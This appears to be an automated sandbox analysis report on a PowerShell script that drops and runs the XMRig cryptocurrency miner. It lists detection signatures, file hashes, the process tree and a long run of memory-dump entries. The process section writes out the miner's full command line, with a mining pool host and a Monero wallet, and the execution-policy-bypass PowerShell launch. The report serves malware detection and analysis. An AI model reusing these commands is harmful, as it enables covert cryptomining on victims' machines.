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27/05/2024, 18:28

240527-w4c4xsdc7w 10

27/05/2024, 18:28

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27/05/2024, 18:28

240527-w4cs6aed49 10

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27/05/2024, 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1799s
  • max time network
    1776s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    21/05/2024, 20:59

General

  • Target

    file01 - copia (5).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (5).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4968

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vvzirgmu.eg5.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

          Filesize

          9.1MB

          MD5

          205ad9eb6acd6f58752899669b69fe74

          SHA1

          bedb78ac5034259b86c2cbc915de2e861e8d7604

          SHA256

          2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

          SHA512

          28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

        • memory/796-3-0x00007FFD0B763000-0x00007FFD0B764000-memory.dmp

          Filesize

          4KB

        • memory/796-5-0x00000158D97B0000-0x00000158D97D2000-memory.dmp

          Filesize

          136KB

        • memory/796-9-0x00000158D9960000-0x00000158D99D6000-memory.dmp

          Filesize

          472KB

        • memory/796-8-0x00007FFD0B760000-0x00007FFD0C14C000-memory.dmp

          Filesize

          9.9MB

        • memory/796-18-0x00007FFD0B760000-0x00007FFD0C14C000-memory.dmp

          Filesize

          9.9MB

        • memory/796-25-0x00007FFD0B760000-0x00007FFD0C14C000-memory.dmp

          Filesize

          9.9MB

        • memory/796-48-0x00000158D9AE0000-0x00000158D9AF2000-memory.dmp

          Filesize

          72KB

        • memory/796-61-0x00000158D9940000-0x00000158D994A000-memory.dmp

          Filesize

          40KB

        • memory/796-93-0x00007FFD0B763000-0x00007FFD0B764000-memory.dmp

          Filesize

          4KB

        • memory/796-94-0x00007FFD0B760000-0x00007FFD0C14C000-memory.dmp

          Filesize

          9.9MB

        • memory/4968-90-0x000001D8A6530000-0x000001D8A6550000-memory.dmp

          Filesize

          128KB

        • memory/4968-91-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-92-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-95-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-96-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-97-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-98-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-99-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-100-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-101-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-102-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-103-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-104-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-105-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-106-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-107-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-108-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-109-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-110-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-111-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-112-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-113-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-114-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-115-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-116-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-117-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-118-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-119-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-120-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-121-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-122-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-123-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-124-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-125-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-126-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-127-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-128-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-129-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-130-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-131-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-132-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-133-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-134-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-135-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-136-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-137-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-138-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-139-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-140-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-141-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-142-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-143-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-144-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-145-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-146-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-147-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-148-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-149-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-150-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-151-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-152-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-153-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-154-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB

        • memory/4968-155-0x00007FF784F60000-0x00007FF785B93000-memory.dmp

          Filesize

          12.2MB